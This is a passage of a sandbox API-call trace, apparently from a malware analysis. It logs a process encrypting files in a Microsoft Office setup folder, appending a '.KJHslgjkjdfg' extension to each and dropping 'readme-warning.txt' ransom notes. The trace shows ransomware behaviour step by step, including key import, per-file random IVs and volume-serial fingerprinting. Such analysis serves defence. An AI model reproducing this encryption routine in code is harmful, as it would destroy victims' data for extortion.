SetEndOfFile (hFile=0x13c) returned 1 [0143.924] GetProcessHeap () returned 0x2a0000 [0143.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.924] GetProcessHeap () returned 0x2a0000 [0143.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0143.949] CloseHandle (hObject=0x13c) returned 1 [0143.949] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0143.949] GetProcessHeap () returned 0x2a0000 [0143.949] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.950] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.950] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.950] GetProcessHeap () returned 0x2a0000 [0143.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.950] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.950] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.950] GetProcessHeap () returned 0x2a0000 [0143.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0143.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.950] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0143.950] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.950] GetProcessHeap () returned 0x2a0000 [0143.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.950] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.950] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.950] GetProcessHeap () returned 0x2a0000 [0143.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.951] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.951] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.951] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.951] RegCloseKey (hKey=0x13c) returned 0x0 [0143.951] GetProcessHeap () returned 0x2a0000 [0143.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.951] GetProcessHeap () returned 0x2a0000 [0143.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.951] GetProcessHeap () returned 0x2a0000 [0143.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.951] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.951] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.951] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.951] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.952] GetProcessHeap () returned 0x2a0000 [0143.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.952] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.952] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.952] GetProcessHeap () returned 0x2a0000 [0143.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0143.952] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt") returned 107 [0143.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.954] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.955] CloseHandle (hObject=0x13c) returned 1 [0143.955] GetProcessHeap () returned 0x2a0000 [0143.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0143.955] GetProcessHeap () returned 0x2a0000 [0143.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0143.955] GetProcessHeap () returned 0x2a0000 [0143.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.955] GetProcessHeap () returned 0x2a0000 [0143.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.955] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.956] GetProcessHeap () returned 0x2a0000 [0143.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.956] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0143.956] GetProcessHeap () returned 0x2a0000 [0143.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xce) returned 0x2ed148 [0143.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.956] GetProcessHeap () returned 0x2a0000 [0143.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.956] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.956] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0143.956] GetProcessHeap () returned 0x2a0000 [0143.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2d0) returned 0x2f7730 [0143.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.958] GetProcessHeap () returned 0x2a0000 [0143.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.958] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.958] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.958] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x5, lpOverlapped=0x0) returned 1 [0143.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.960] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.960] GetProcessHeap () returned 0x2a0000 [0143.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.960] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.960] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.960] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.961] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.961] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.961] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.961] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.961] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x32b, lpOverlapped=0x0) returned 1 [0143.961] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x330, dwBufLen=0x330 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x330) returned 1 [0143.961] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x330, lpOverlapped=0x0) returned 1 [0143.962] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.962] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.962] SetEndOfFile (hFile=0x13c) returned 1 [0143.964] GetProcessHeap () returned 0x2a0000 [0143.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.965] GetProcessHeap () returned 0x2a0000 [0143.965] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.kjhslgjkjdfg")) returned 1 [0143.965] CloseHandle (hObject=0x13c) returned 1 [0143.966] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.966] GetProcessHeap () returned 0x2a0000 [0143.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.966] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.966] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.966] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.969] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.969] GetProcessHeap () returned 0x2a0000 [0143.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.969] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.969] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.969] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.969] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.969] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.970] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.970] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.970] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x16fc, lpOverlapped=0x0) returned 1 [0143.971] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1700, dwBufLen=0x1700 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1700) returned 1 [0143.971] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.971] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1700, lpOverlapped=0x0) returned 1 [0143.971] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.971] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.971] SetEndOfFile (hFile=0x13c) returned 1 [0143.974] GetProcessHeap () returned 0x2a0000 [0143.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.974] GetProcessHeap () returned 0x2a0000 [0143.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.982] CloseHandle (hObject=0x13c) returned 1 [0143.982] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.983] GetProcessHeap () returned 0x2a0000 [0143.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.983] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.983] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.983] GetProcessHeap () returned 0x2a0000 [0143.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.983] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.983] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.983] GetProcessHeap () returned 0x2a0000 [0143.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.983] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.983] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.983] GetProcessHeap () returned 0x2a0000 [0143.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, 